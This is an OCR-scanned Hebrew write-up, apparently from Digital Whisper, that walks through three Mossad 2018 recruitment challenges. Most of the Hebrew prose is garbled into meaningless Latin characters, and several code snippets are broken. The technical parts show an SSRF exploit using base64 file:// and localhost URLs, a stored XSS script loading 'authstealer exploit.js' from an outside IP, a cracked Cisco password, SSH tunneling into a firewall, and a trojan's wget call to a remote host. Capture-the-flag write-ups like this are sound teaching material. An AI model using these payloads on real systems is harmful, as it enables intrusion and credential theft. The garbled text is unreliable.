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Anw mY L"L+-<>[]" ;D0 Dnyy 7y DTNy DnnY 2% 0'va ,Nmna 20 D'0TN 1INIXYD
QIR T2V DNNID) VYD1 VY NIYPAD DY A0 NIPDN NYWNANA WK Brainfuck Ndwa NI
[I"7UN NP7 NN0N TIRN DR YNINY 10X NANKD X¥ND D' an? 7avaw na'an nnax .(07'n

.https://copy.sh/brainfuck :AnNxX2 wnnNwi NRT NIWYY? 7'awa ,miann 7w Innnal

NN Y 1'ya Dp'na TIgn DX yMwd

Stot<>—+==><[+- []+-]<+——+>[+--+]<
[+>+<-]<>==== [ =>+++<]>== . ————-——-
-t [H>- <>+ - [—---- >++<]>-.
F[>+H4<] >+ttt o m oo
—m L mm e [ <] >H = [— > <] >
R [ > H<]> L [~ ] <>+
<>[+-[1+-]<t-—+> [+--+] < [+>+<-]><>+
— <> —+==>< [+- [ +-1<+——+>[+--+]<[]

."xor-with-key" nTnnNnn Jon7 17 09TIN

1NN 7Y INNNA AP'7NA TIED NN YMwdl

Fhtt bt D<o ] >4 [<+>-
1-[>+<---—--- 1>--= [<+>=] [<+>-]>++>
+[>H+ [-<HHHHH>] <] > [<H>=]>+>++ [++
St [~<+++H++>]<<] > [<A>=]>+>+ [ >++++ [
—<HHH+>]<<] > [<+>=] 4 [>+HHH+++
FHt <=1 >4 [>T +HH>>+>+ [->+++ [-<+
FH++>]<<]> [<+>-] ++H+++++ [>+HH++++H++
<=1>4 [<+>=]HH4>HHHH++>+>+ -+ <>+ -

2T on? 09 TI' X7

NIXIN INK7 |N2'T MINN2 V) AT 72W2 NDINN 7Y DXN 170N NP NN 'an? oxa nwd

“view memory” -> “final dump” 7y nX'N71 N'1DINN NXIN FT-7V NRDINN

final dump

pointer = 0012

Qo0D: 7A 46 5C 53 55 59 03 5A 41 03 06 01 zF\SUY.ZA...
gooc: 00 00 OO 0O 00 OO0 OO OO0 OO OO0 OO0 OO0

.(xor-with-key) Inw'25> NNon Dy N1wo'7 10XV (cipher text) [9XIN 21N 75N |ND'TAY XN
N2 772N ININ2 XINT NN 21200 nxy v 1Ny "Israel-is-70" VOV N'AN' 1'2'V NN OIDSN'Y NN

...AN9NN KIN "7IX ,(12) 7nnIknN [ND'T YOn

XOR NI71y9 Ntya (Israel-is-70) INXNW NNONN DY [IN2'TN Y07 DX NIYONY X7 TI7 YO AIND)

key = bytearray(
cipher = bytearray (

bytearray ( : A key, cipher))

(Ihwxan 297 IP naimdn) 35.205.32.11 ;090N 7Y 079N
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Challenge #1

Welcome back Agent C!

Your help is needed once again to solve an urgent matter.

Our digital forensics division is trying to track the source of a phishing attack on one of
our government officials.

We have found an email which seems to be related to this attempt and points to a news
blog.

We require your skills to track the source of this sophisticated attack.

The following leads to the news blog.

Good luck!,
M.

NNIANN NNXA NN OY DIYTN 172 ['yn 0'RN NKY 0'0101W) ,7N0N 27w Mxp nTh 2709

‘X2N MATN DX AR NN TR DX 2IT21YII ('nwn DhLak 13.3) anonymous '11'>n DY InY'n nX1)

I'YdY L(2'w'on NOPNN W NN7¥nn NX 11aon) XSS NIty D'wnnwnn DX QIpnY [I'01 |'vn
VAN DN '2n7 0197 NI0171 "XV dNRN DX Q'PNNY 72IRY KD Y7 ANNY MIWRIN naAwnnn
TI912 DA MK T 7Y 1m0 >'-1 < NN 'M1anY NX TN Mjpoon L(N7¥ X7 |1'01) Qpinn

NRND 7Y NIFArYRAI9 NIDNT7 DY AT A¥N] NIYY? 1XYW NN TR NN DIY K77

LightWeb&trade; 3.0

1R NW N7 'RY administration qT

~

Reqgister x TTestProﬁePNG TLog‘n X TMa'n TComnent

.(MwInn 9T2) PNG 7'91N9 NN Np*T1a ["yn Dol AN ,NNANNN ,'URY 9T ,NIAIAN
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XM NT O
Please enter your registration information below:
Tomer
Zait
realgam3
Profile pic URL [ TRY...]

SUBMIT!

Powered by LightWeb™ 3.0

ANX ,NullByte by URL-n 7¥ D' Tan DX qIpv7 91017 N NTn 27w2 WR17 7 Ny IURIN 12T
-7 Y119 ANXN OX PITAY 'M'01 ,NMINNN NX X'AN7 W2 DNYY 79 Nifryaont N9Y X7 (1rony

:nwpan .(Orange Tsai-7 NITIN) N'TI NI' NXP X'NY 97NN SSRF

/testProfilePng?u=aHR0cDovL3J1YWxnYW1l1lImNvIimlsL2xvZ28ucG5n

.Base64-1 qT7 WW'pn NN 7On TWX u DWA UN19 DY testProfilePng qTAn ntna

-7 yan X'n DX http://realgame.co.il:4444#realgame.co.il/logo.png-7 nwiza Ni7wh non

N?'12 7¢ Regex-n NK Ipy7 N01 X7 OXI SSRF-7 Y15 INXNY YT 4444 01191 realgame.co.il
TNT NXT # 72X ,1TAY 0'DYTN 2 Npna) # DIZN2 7-2 NN Ind 0T TIYA N TaN IX NINNN

:(onn om%ynn o'mwn 2N Y71 ClientSide (DOM)-7 nxVNI® non # ' Nd1 N

[ ~1$% nc -lvv 4444

Connection from port 4444 [tcp/krb524] accepted
GET / HTTP/1.1

Host: realgame.co.il:4444

Connection: keep-alive

User-Agent: curl/7.21.3 (x86_64-unknown-linux-gnu) libcurl/7.21.3 OpenSSL/1.0.0c z1lib/1.2.5
Accept-Encoding: gzip, deflate

Accept: */*

Cache-Control: no-cache

'R '2n? 117 TY? 70'w login.php TNI'N1) D19 DA KNPY TWOX DX AR 1'WOY lnYxn

.(admin nixwaN Dy [2WUN7 N2NNNY?

:(Base64-1) file:///var/www/login.php#realgame.co.il/logo.png-7 DTz NN7WW MW DX 97N

@ 35.205.32.11/testProfilePng?u=ZmlsZ Tovly92YXlvd3d3L2xvZ2luLnBocCNyZWFsZ2FtZS5]by5pbC9sh2dvinBuZw%3D%3D

"apr: "OK",
"png": "login.php",
"session": "Cookie saved: False"

.(Mmn n7ynwd nx¥nw T'R) /profilePics/login.php -n yalzn NX TIN% 1108 1'wdy inxn
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define

function do_login

ADMIN_USER_NAME

admin XIN 71N NIXWAN 7Y wnnunn DWW 02'an INIX login.php yalzn NX D'ROIP 1INIRWD
DYy NNANNNN 977 (127.0.0.1 IP-0 N2IMdN) MW INNA NWA7 11X ATH Wnnwn? 1annn? "l
realgame.co.il:4444 NX q'7N1 .n'wa DIW 117 'R TR SSRF 115 117 W' ,user_name=admin 10UN19N

:127.0.0.1/login.php?user_name=admin-7 y'a9 TNXN DX 71727 1'01WD NINYYY

@ 35.205.32.11/testProfilePng?u=aHROcDovL zEyNy4wLjAuMS9sb2dpbiSwaHA/dXNIcl9uYW1IPWFkbWIul3BuZy5pY29uczguY?29tL 2 lvey8xNjAwL3RIc3QtcGFzc2 VkLnBuZw

3d

"session": "Cookie saved: True"

.127.0.0.1/administration-7 nwjza DA NI7WY N0 TX ,png-2 I'7K NWAT7 QT 117 'K

@ 35.205.32.11/testProfilePng?u=aHR0cDovLzEyNy4wlLjAuMS9hZ G 1pbmizdHIhdGlvbiNwbmcuaWNvbnM4LmNvbS9pb3MvMTYWMCI0ZXNOLXBhc3NIZC5wbme9%3d

{
Merrt: "208"
"png": "administration",
"session": "Cookie saved: True"
}

Session N1'NWA Nd'AN 'K HTTP-N NIM90 aNYY 11" ,"NIR'YNA D 7D X7 2ax¥n 1Y |*x7 7 a1wn)

(71PN N2 nNTANA
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IMTRN T DX NIKYYT 1D /profilePics/administration-7 wa ny>

User Comments

Time
m IP Address Added Comment Text

athlete 212.7.8.9 (1)%33}12 That was funny )

theR@'NM@n  199.53.1.29 gg;ggﬁi’ WOW! this is amazing!!

1whoknows 198.4.76.3 (1)2{82}‘113 Isgﬂi(i;ii(:r:\!?u'd happen!. | warned them at the
CalvinK 213.17.82.1 ggfg%fg It's so last year...

07-03:21 I'love it...It's so <script
nmiao  Src="http://35.205.32.11/authstealer exploit.js">
23/03/18 .
</script>...cute

anonymous 111.112.113.114

N7W "D WD NY'oIm [Amdw) 17W IP-n NQIMD DY anonymous ¢ NAIANN DX D'ATA 1NN

IHwxIN 27wn Do v wpn 72y yn'awdi (0909
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Challenge #2

Well done Agent!

Thanks to your efforts, our team has managed to locate and detain one of the hackers
responsible.

She was not cooperative, but we were able to extract a snippet of an application from
her phone. We suspect it is used for gathering intelligence from their victims.

Your next mission is to locate the files the team stole following their successful phishing
ELER

We executed the parts we extracted in a sandbox and managed to capture its initial
communication with a c2c server. The following contains the captured data.
Needless to say, the information that was stolen is very valuable to us, so please do your

best to retrieve it before it leaks...

Good luck!,
M.

NP'TNI9NI DT DNANKN MTAYY Inwn ,(Zip yalp 1n2) PCAP yalp 7 nTiIN2 7'nNn Nankn

:WireShark-1 Statistics->Conversations-7 N0' "T'-7V "2 Ta1 'n |'an? DTIR 'RTd T'AN AT

Ethernet - 1 TPud - 1 IPVE. TCP -5 UpDpP

=
Address A Port A AddressB PortB Packets Bytes Packets A—B BytesA —B PacketsB — A BytesB — A Rel Start Duration Bits/sA—B Bits/sB — A

192.168.43.188 58640 35204.90.89 5555 g 798 5 456 4 342 0.000000 03726 9791 7343
192.16843.188 58645 35.204.90.89 5555 g 79 5 456 4 342 3.258438 03162 1Mk 8653
192.16843.188 58646 35.204.90.89 2121 38 3200 20 1447 18 1753 4.890574 3.2779 3531 427,
192.168.43.188 58653 35.204.90.89 5555 g 798 5 456 4 342 6468880 0.2905 12k 941
192.16843.188 58658 35.204.90.89 5555 g 798 5 456 4 342 9.662990 03326 10k 822

1> Follow Stream 7y yn71 .(FTP) 2121 0192 nnX nn'wi (TCP) 5555 0192 NIN'W 4 D'RIN NNIX

NIN'YN NNR NIX NIKY

‘ Wireshark - Follow TCP Stream (tcp.stream eq 0) - pcap.pcap - O X

4bad54feaa%a3fbbd7aac13b74@fc041
9232dbbcee8aba37ba25ef879c@5c3b2dcd8cbf@89ad@74e73a9790f23cbff33af492ad8a79b5621321a9472d96148201efe88947113e2f@bce3c519d988d%e5
5.250.159.25 Temporarily Authorized.

32 .nopn '1in 128 17 A'TNNY 01X 1INIXE NOPN 1IN 32 117 TN MYNY NIKYY [N DTN W0l
[N XIN DX NIXT? DT DTN 2792 N0IN IRY [IWXRIN NQTN X MD5 T'an 7 1'1A nopn 'Iin
7¥ n1ann nn an% noi nMtpA NIN'WA 7510 MD5-N NIIYN 7D DX QI0X) DTIR TX ,NIX'9Y

Mynn naivnn
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N> XY NN DY N2TN IMIR X WYY 'YDY .NNS0 5 '2p2 DMv0n 0N D'WURNAN 7D n7yn

:(nopn 'n 128) SHA512

017701 MD5 7w WRN2 NNS0 5 7¥1 190N VIR VTN NYAY AT Ya1d 117 U'y DAININ T
IR NYY'Y 090 2IMDY7 NN 1'WDY NWYIY nn .SHA512 7w wxna (+1) 21y 190n nwy 1'rnn
[7221 |'vnd NX11D wnwn Nt challenge-response-n) FTP-n NIwY nwa 117 NNo9' 17avwa At

:(Mmx'n N 190 2121 0019 7Y A7 TYnW PORT Knocking

socket
hashlib
time sleep

hash table =
hashlib.md5 ( (1)) .hexdigest(): 1
i ( )

True:

s = socket.socket (socket.AF INET, socket.SOCK STREAM)
s.connect (( , ) )
challenge = hash table[s.recv ( ) .strip ()]
response = hashlib.shabl2 ( (challenge + 1)) .hexdigest()
s.sendall (response + )

s.recv ( )
sleep ( )

NNI71 D'RMN DNRY NATNON NIX) 99999 Ty 0-n NNoon 75 7w HASH TABLE DX 1INIX T2

.(Dict Comprehension

190NN NX D'WONN 5555 VNI MW7 DMannnl socket DMXYA 1INIX ,N'OI01RN NR7I7A
NIX 91017 ,NW7 n1tn SHA512-1 apily 1%0n DAY'TNNI .1N7W Hash Table-a mwinn n7ayw
210NN DMANKA 2IWN TIXRA 770 0T NIdNY) NI 10 0NN NYNN 172'7Y NIYNN NI D'0'9TN
DIoN? 71>' NMWN TN DN DNY D'U9IPO NX' DINK D'WIX DAl TN 1NN U9PON DX ,NTN
NIN7 'RTD T'AN 72X 'Y TN [INND 2ND7 1712 NTH A¥NAY [2mMd .(oniynn 7197 VIYD IX NNIX

JINN9Y QPN W'y Nj7na DdIN
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Filename : Filesize Filetype Last modifi.. Permissi.. Owner/G..
admin File folder 18/02/181.. el (0755) 1003 1004
aliantech File folder 18/02/181.. el (0755) 1003 1004
anonymous File folder 18/02/18 1.. el (0755) 1003 1004
backup File folder 18/02/181.. el (0755) 1003 1004
build File folder 18/02/181.. el (0755) 1003 1004
ftpuser File folder 18/02/181.. el (0755) 1003 1004
guest File folder 18/02/181.. el (0755) 1003 1004
hacker File folder 18/02/181.. el (0755) 1003 1004
notroot File folder 18/02/181.. el (0755) 1003 1004
party File folder 18/02/181.. el (0755) 1003 1004
rambo File folder 18/02/181.. el (0755) 1003 1004
sipuser File folder 18/02/181.. el (0755 1003 1004
test File folder 18/02/181.. el (0755) 1003 1004
wheel File folder 18/02/181.. el (0755) 1003 1004

D'2'2YNN DNATH DT NINN2 XYM X7¢ N L FTP-n Mwh nnyna mnannny Nikd? [N mimna
SSH Private ) id_rsa yaip (/users/backup) 17w nan nz'na w'w backup Dwa 11" (0w NRxNW
floppy-7 |9xm nrxaoap yaup) floppyfw.conf.enc yaipl “s3cr3t” 1D1ma 7onw hint yaup ,(Key

.(firewall

DA 7'o2nw 2017-03-17-n 1IRNY? TV cisco.conf.enc D'¥a7n DY D'"IA'a 1900 nX¥n /backup n'z'na
[xon .floppyfw.conf.enc yalj7 n'iaa 70 W' 2017-03-17-n WnXY71 floppyfw.conf.enc yal77 "1
DY INIX 19700 DN 27w InwrKal Cisco 7w 2N [7Nin DYD ' ARIDY A7 0710 1INIX
NIOXNN NX NIND7 NMIWKIN NIMMWOKR 2 12191 NITIY TX |9xIn (id_rsa) SSH-n nnon .floppyfw

JNannn 702 1w nno'on NX D'YWY1 NNONY wnnwn? n'awnl hNonn v

NIX DT 22 qJwUNnna D WnNwn? 720w T NNONN 7Y N19XNN DX NINSY7 NI' N At Ny T?

~.hint yaI17n 71N2 X¥NIW VOV DY INIX NINSY? NON TX .17W NNO'ON

openssl rsa -in id rsa -out id rsa dec

NIYY 1ANNNY7 NoM ,NN'0'o K77 id_rsa yaip 117 w'wd 1r'wdy ,(s3cr3t nN''n Nno'on) Tay Nt

root@kali:~/ -i ./id_rsa_dec backup@3
Welcome to
All your actions are
being recorded!
GELELELERS

bin/false: No such file or directory
onnection to 35.204.90.89 closed.

a2 oM - 2018 Tomn 7w oI'an Nanx |NNO
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2171090 12 9y wr SHELL-n yIn 1197 7ax SSH-n 0T SHELL nimipo ni7w? 7511 X7 nR1an 730

D0 TIY

SFTP 7w njp'Tan 7'nNa TX

root@kali:~, top/mo
Welcome to kup Ser
A1l your actions are
being recorded!
Hahahah!!

18# sftp -i ./id_rsa_dec backup@

Connected to
sftp> pwd
Remote working directory: /

100% 1802 10.7KB/s  00:00

VI 'OV INIR DTN TX  NIXIADIPN IR 11'9¥N INNTY2 NARNDY conf_enc.pyc Yal? 1IXXN

:uncompyle6 DY N'X7'ONIR'T NITV PN TIR 7W 2¥N7 INIK Y'TANT AT

pip install uncompyle6 && uncompyle6 ./conf enc.pyc > conf enc.py

. 1]
NIN N19¥NN DNAIAYRIE "d3adb33f13371337" Xin N19¥NN NNONW NIXTYT 0712 NNIX JIznn T2

.AES CBC

a2 oM - 2018 Tomn 7w oI'an Nanx |NNO
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python conf dec.py ./backup/2017-03-17/cisco.conf.enc
python conf dec.py ./backup/2017-03-17/floppyfw.conf.enc

AQWNn [N WnNNwn? 721¢ 0RIM W9NI D'YARN 2 7 DIIIDAIRD 2 DHYNY 7001 ,Nyd

floppyfw.conf:

USE_IPTABLES=y

RULE_1=iptables -I INPUT -i ethO -p tcp -m tcp --dport 22 -j ACCEPT
RULE_ bles -P INPUT -j DROP

RULE__ bles -I QUTPUT -i ethl -p tcp -m tcp --dport 3:

RULE_. bles -I OUTPUT -i ethl -p tcp -m tcp --dport 808

RULE_ ables -P OUTPUT -j DROP

RULE_6=iptables -P FORWARD -j ACCEPT

cisco.conf:

ss-list 1 permit tcp any host 10.1
access-list 1 permit tcp any host 10.1
-list 1 deny tcp any any

-list 2 permit tcp any host 10.164.0.3 eg
-list 2 deny tcp any any

NMIR'NI DPTXY MR AT ,|'0|‘7n'7 NINT LYND [NV D'7a0 11NIX NI'XIIADAPN '3 D'IYN DNIXRYD

cisco.conf-a1 nNaNNN '01O |'X floppyfw.conf-aw AT NIYIIA'DIZN 2 MIYWYW NN .N1ID) ND7NNN
7> v X' naon Xixn? 1721 Dnk) Cisco type 7 password [ cisco.conf yaljpa nixno'on W

(17 Tmya "qpin 12 233 SNMP" 7X'00j7 7'9X 7W IMNXN2a

Sfloppyfw-7 Da 0'knn ynwiv fwadmin owa 111' n'nw 01'an 1NN

a2 oM - 2018 Tomn 7w oI'an Nanx |NNO
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https://www.digitalwhisper.co.il/files/Zines/0x28/DW40-1-AttackingSNMP.pdf

Type 7 Password: |107D1C09560521580F 16693F 14082026351C1512
Crack Password

Plain text: |Sup3rS3cré#tP@ssword

N2 http://www.ifm.net.nz/cookbooks/passwordcracker.html ANXn NITY2 NNO'ON NX N¥9)

.Sup3rS3cr#tP@ssword :X'n NNO'ONY

12N1X .10.128.0.3 IP-N N2INd7 3389-1 8080 D'VNIS? Port Forwarding-n 7w n1vVNN NN 'an? non
Storage) T191 VLAN-2 nNMIRY I ITN IP-0 NAIMDY? nwa 17 'k X L1079 N1onn 1Ty 0nan

.(Network

interface Vlan2

name Qutside-network

ip address 10.164.0.3 255.255.255.0
no ip route-cache

ID access-group 2 in

1

interface Vlan3

no ip route-cache
ip access-group 1 out

NT NIYY? NYONY WD MATN YA [Kdnl DIMwIn 2-2 N7 700 Nt nniv? floppyfw
.(floppyfw 70T ITh IP-N NaIMd2 A7XN D'0NIS7 NIAYNN 72 DR 2N1Y?) Tunneling ,SSH 717100

.Local Port Forwarding n1tva floppyfw Dy "wppn'? noTip non

ssh -N -L 22:10.164.0.3:2222 -i ./id rsa dec backup@35.204.90.89

JPNNA ATIPO YN X7 -N e
.Local Port Forwarding -L e

S9N NNONY DI -i @

At'n oy 10.128.0.3 IP-n namd>a xxmw 8080 1197 DA Tunnel 2x™M ,1IN7¥nW NNX ,NYD

:(Sup3rS3cri#tP@ssword) cisco 7w N'¥112'91172 IXKXNY nno*onl fwadmin

root@kali: # ssh -p 2222 -f -N -L 0.0.0.0:8080: :8080 fwadmin@

fwadmin@ 's password:

IR 1AYNY D'¥Ipn NNYWA 22 0119 T N2 178X 8080 LIISW Yad NMIPY NN DXy TX

.10.128.0.3 IP-n naiM>21 8080 LN19Y7 floppyfw-1 22 VIID 0T NMIAWNN
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NI'TRN NIDdAN D) MIDNN NAMNDdA 17w NMpNa IX (127.0.0.1) nmipn 8080 0D T MNK7 010

:(mwin '0'v1d D7 yan ntw 0.0.0.0-2

Index of / Index of /stolen_files

Name Last modified Size Description Name Last modified - Size Description

a Parent Directory,

am 2018-02-19 07:25 @ mossad_2018_challenge.solution.doc 2018-02-19 09:03 662

Apache/2.4.18 (Ubuntu) Server at 192.168.221.137 Port 8080 Apache/2.4.18 (Ubuntu) Server at 192.168.221.137 Port 8050

Inwn 2%7wn DI'07 V'3 doc-n yalp W 7y Yn'7awd
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niTn NINYYN - 'w'hw 1YY

Challenge #3

Very good Agent!

Following your success in finding the hacking teams’ internal storage system, our
intelligence officers have discovered what we believe to be a new and sophisticated
rootkit framework they have been developing.

We also managed to get a copy of a prototype utility that helps reveal their rootkit on
infected systems. You can get if from the following

We require your skills in invesgating it and reporting how the rootkit operates.

Thanks again for your effort, and Good Luck!,
M.

N2IN2 N'7'ONY NN - busybox .(Zip yalz J1N2) busybox Dwa NN YW nTINN 7'nnn Nankn

10T IX Android "'wdn md POSIX Niaa0 1Ay TN yalpa unix-tools

N2 72N DX O'RN 1INIX OV K77 NRDINN NN 0¥ 1NIRY)D

1i: # ./busybox
BusyBox v1.29.0.git (2018-02-18 06:33:22 UTC) multi-call binary.
BusyBox 1is copyrighted by many authors between 1998-2015.
Licensed under GPLv2. See source distribution for detailed
copyright notices.

: busybox [function [arguments]...]
r: busybox --list[-fulll

: busybox --install [-s] [DIR]

r: function [arguments]...

BusyBox is a multi-call binary that combines many common Unix
utilities into a single executable. Most people will create a
link to busybox for each function they wish to use and BusyBox
will act like whatever it was invoked as.

*kx* This version of BusyBox is an 'augmented-reality' version ;).. left you a hint at /tmp ...

Currently defined functions:
adjtimex, base64, beep, cat, chmod, clear, dnsdomainname, echo, , hostname, ifconfig, ifdown, ifup, kill,
killall, 1s, lsof, md5sum, nc, netcat, netstat, nslookup, ping, ps, reset, resize, top, true, tty, uname, wget,
whoami

.busybox N1V yalp TR 107 10X 7Y /tmp At ™t we

# ./busybox 1s /tmp

such file or directory

AXI NIY7 NXp 0T DX OIEN LAY AAID01I0 DAY UMY ORI NIX TN
.NXN1 XIN 12 OFTI'RN '97 7% TN 1D NIy lowercase letter XINW IN 70w X' N'¥1190110NY
JIURIN DIPMN 7Y 0N19-1 70 NI AT N Diwn .3-2 a7 'p-l 2-a 0y e’ ,1-a ' 't i
7277 N7 DMpEM 7w 20N NINXY OI'72 NITIPON 2N D NP2 AT DX qIpY7 [N1IY IR 0T

DTN 2¥NN DX Q1YY 'R DTIR D27 AKX TR .TNN DIZ™Mn N

‘touch 1 && ./busybox 1ls -la 1 /tmp

IX 17 DAON'Y VOO AUNDI TR NIYAN [IIDNN N'7RY NTN DX DA NIKINY 2NIR X 2D 72X

(DN NINIXY NN DX 12T 7w 19102 17 X1'W) 91NN DA¥N7 DNVNION
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bytearray ("abcdefghijklmnopgrstuvwxyz")

chars =

while True:
user input = bytearray(raw_input('text to transform: '))
for i, c in enumerate (user input):
if ¢ in chars:
user input[i] = = ab) len (chars) ]

chars|[ (c - chars]|

print user input

0NO 7D DANY 07D IR NYD

root@kali:~/Desktop/mossad2018# ./busybox 1s -la /skm

total 12

drwxrwx rwt 2 root

drwxr-xr-x 25 root
1 root

-r--r--r-- 0 root

root
root
root
root

4096 Apr 19 18:17
4096 Apr 13 19:48
452 Apr 19 15:38
1337 Dec 31 1969

:édb_history
.readme

JANIR XY IXKID !|"]DYJ .readme Yaluy
# ./busybox cat /skm/.lxsuct

Suspicious network activity detected...

.netstat N1V suspicious network activity-n NX N1 IXKIQ

root@kali: ]
Active Internet connectlons (servers and establlshed)

Proto Recv-Q Send-Q Local Address Foreign Address
tcp 0.0.0.0:8080 0.0.0.0:*

tep .0.
tcp
tep
tcp
tcp
tcp

State

LISTEN
LISTEN
LISTEN
LISTEN

PID/Program name
4022/ssh

560/sshd
673/gnome-session-b
609/postgres

LISTEN 1030/0

LISTEN 4015/ssh
ESTABLISHED 4022/ssh

~

tcp
tcp

[+)]

ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED

1030/0
1032/sshd:
4015/ssh
4015/ssh
1337/Troj

root@not

NoNoNololoNoNoNooNoNoNoNol
OROOCOONOCOOOOODQ

563/dhclient

1ANINX NYd .80 LML 35.203.32.11 NWY AN Tr0j bwa 1337 id Dy '7NN W'y D'RN 1NN

:0'2>17T 2-2 Y1 Tr0j D'IVNND AT'N DY PITAY7 D1

#cat /proc/1337/cmdline
cat /oply/1337/ragxtxn
# or:

ps aux | grep Tr0j

# ./busybox ps aux | grep Tro0j

? /tmp/TtO] (deleted) -u admin --default-pass
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NTIPON T 7Y 7nmaw Tr0j yaIpn Dy TN

fcat /proc/1337/exe > Tr0]
cat /oply/1337/tlr > Tr0j

root@kali: # ./busybox 1s /oply/1337
. .. cmdline environ exe

AN ININA 719w ya1?? symbolic link X1n 720 2¥na exe

ali: # ./busybox cat /oply/1337/tlr > Troj
iz # file ./Troj
ELF 64-bit LSB executable, x86-64, version 1 (S5YSV), dynamically linked, interpreter /1ib64/1d-linux-x86-64.s0.2, for
GNU/Linux 2.6.32, BuildID[shal]=dodfb3534beb402e7848e2687456cdfadda9a231, not stripped

.DMNIR '8 IN7¢IY DNIVNIDN DAL AYIY RID NN |'3.|'1'7 no1l Ida-2 yalzn NX NN91 1'Wdy

(il s =

DUNION 101D N'YPAID MITan [rbp+src]-7 Navin UwlILN3v3rG3tM3 nimyn Nrinnn
NT u TWUND (option 210N N1aNY Ya¥n) 0NX DNVNIOI d-1 U DY DVNIO DY getopt_long

.default-pass nt d-1 user
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; hame
; has_arg ; “user”

; flag
; val

; hame ; "pass”
; has_arg

; flag
; val

; hame ; “default-pass™
; has_arg

; flag
; val

.option 1101 D'>NKN D'VNION v n1ann

: ¥
W =
: v \ v
i P s

loc_400793

.(default-pass Da XInW) d "0NID D"'PY NIPNA NIMIYNN NTANNN NPNYN 72V nu7nnn
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; "35.205.32.11"

: "wget -0 /tmp/.store 'http://%s/iso?user”...

eax rbp
rsi, [rbp

W'D NaImdn iso Yal? NN N1INN

admin XIn NXINN 97w user NVNO 35.205.32.11 IP-N NAUNDN DT YAIF? NAUNDAY DRI

.(NX¥xnw DMVNI9N DY) UwlILN3v3rG3tM3 Xin NtdInn 7 Flow-n 197w pass 10n19I

http://35.205.32.11/iso?user=admin&pass=Uw1ILN3v3rG3tM3 w'zn T ISO-N yalg DX T

:NTE9N T2V mount 17 nwl

mkdir /tmp/iso && mount

./iso.iso /tmp/iso

- XI-Xr-
"= XIP-XT-

1

root
root
root
root
root
root
root
root
root

root
root
root
root

root 11]

root
root
root

root 1]

root

Jtmp/iso NN T iso-N YAl JINAY D'Y¥AR7 NWAT 0710 NNIX DY)

018# 1s -la /tmp/iso/

2048 Feb 18
4096 Apr 2

111895 Feb

609 Feb 1
Feb 1

5 Feb 1
Feb 1
Feb 1
Feb 1

5 Feb 18

3 7.3pg
thumbs.db

: vault

3# file /tmp/iso/vault

(3 190nn X77) 7 Ty 1-n DMD0NN DY NINN '¥AP Y'Y DN Ya1d 17 W'Y 01NN

18
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N"PNA NRMNN W N AT NID'RA Cache 7'onw Windows yalp Xinw thumbs.db nwa yalp

:sqglite database XInw vault yalp1 n1'nn nvox?

75 DB Browser for SQLite - C\Users\realgam3\Downloads\iso\VAULT
File Edit View Help

& New Database (4 Open Database Write Changes 2 Revert Changes

Database Structure Browse Data Edit Fragmas Execute SQL

Table: | | Files ~| & |58 New Record | Delete Record
id name data enc_type key iv_sizel
[Fiter [Fiter Ailter [Filter [Filter
1 |aesjs Usm/va3ngs/rHvye0sA6hwggK4nFp0+JIMra8YGfyrkfCFxUKZftuilR+K4EXR40EX3XIAVKERpKhAtmXak8wHOLU... Blowfish-CBC ~ External 8
T index.html <html>  <script type="text/javascript" src="aes.js'> </script> None None 0
3 key.js N66Kat8Z793104scLp0O41gcNxWBEUXWnxWscNu9dR39zA= Blowfish-CBC ~ External 8
4 script.js n04ScjFpOgy7]+e30NTvwof/ ITAiac/ AB6cZ s8Wzf1SubeVzojaCMXIOSQpKOIKLTiMvSgGxg+P2xPIL6SzILKY/H8B... Blowfish-CBC ~ External 8

Yaizn "Ik AR L 9XIn X7Y index.html-1 Blowfish-CBC-2 n19¥In n'¥ay 7'thn Vault yalgn
2-7 XX PINNNY XN TV [AMD .A'WNT7 NP0 TMAYY IR DNONN DX 7007 70 'wwn namn
7D thumbsviewer Vp'"IN92 wnnwal thumbs.db yalpn NI NN DWTI' INIR Y7XT'RN DaXN

.2 nnmnn NX arxn?

YUNNY N7 2X¥XN2 ,ANIXK XN NNl ' Yaln 'R avin nYy I'N 12AY M1a i AKX "IXT'R NIND 2XNI
7200 thumbs.db yaipzn o'xap nm'X NIXA7 * 1 binwalk "0
2018# binwalk /tmp/iso/thumbs.db

HEXADECIMAL DESCRIPTION

0xA18 G image é standard
09x5418 G image é standard

09x9418 JPEG image é standard
09xC818 JPEG image ¢ standard
3 image ¢ standard

G image ¢ standard

0x19218 JPEG image data, standard

-n 1"7nn OX 0x9418 NXXN1 NN NMONN N'W'7wn Namnnl JPG aion nimn 7 7' In71vn

JWUN YaIEN DR 117 Y701 XX 09170 2IND1 .0¥APN NINY 1T0 '9%7 y¥ann Cache

python -c
"f3b=open ('/tmp/iso/thumbs.db', 'rb"') .read () [0x9418:];0pen('3.Jpg",
'wb') .write (f3b[:f3b.index ('\xFF\xD9')])"

:JPG NN N12n2 NN 910 NX 0'7n0n 0xff,0xd9 TWXD

-n D'¥2PN DX 17 Y7n'w 0970 ANdY 117 IRwa 71 1'wdy (*israel70*) n1oxnn Nno'o NX 17 W

vault

a2 oM - 2018 Tomn 7w oI'an Nanx |NNO
www.DigitalWhisper.co.il
19 2018 'xn ,94 12




Technologic

base64
sqgqlite3
Crypto.Cipher Blowfish

key =
unpad

decrypt (raw, iv_size):
raw = base64d.b64ddecode (raw)

iv = raw[:iv_size]
raw = raw([iv size:]
cipher = Blowfish.new (key, Blowfish.MODE CBC, iv)
raw = cipher.decrypt (raw)
unpad (raw)

conn = sglite3.connect (
c = conn.cursor ()
name, data, enc_type, iv_size c.execute (
) :
enc_type == :
data = decrypt(data, iv_size)
(name, ) f:
f.write (data)

DIYY DX N [9T9TA index.html yalpn NX NINSY 001N 1INIX D'¥APN 72 NN 117 W'wd 1'wdy

D B T A |'1ﬁ'7 O NX"AYN NIYTINd V') N X7 1T

Navigated t

YN NIR XY ALMN TR DR DA AR AXRAYN ARXND 12 DIp'NnN v Yn'?] ONX

NX 7NNKX7 T index.html-2 Script Source NN yalpn NX [IYU7 NI017 NIPMWOXN 2 11'T2 1YW
NItV 1337 0019 7V 'TRNI D'¥A7N 72 IR 79'w HTTP MW NINDY IX 12 win'wn 197 key ninwnn

:Python SimpleHTTPServer

type="text/javascript” src="key.j
type="text/javascript” src="aes.j

type="text/javascript” src="script.js’
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TV N'DENMIYRIN NNWOKA 117NAY NIRTY N1

From this page

Enter the key please:

non |NNS9N .XIN NN OWTI' X7 1INIRY DY) NNON D'W7 IN'RN Wpanw prompt 1'UdY 117 v

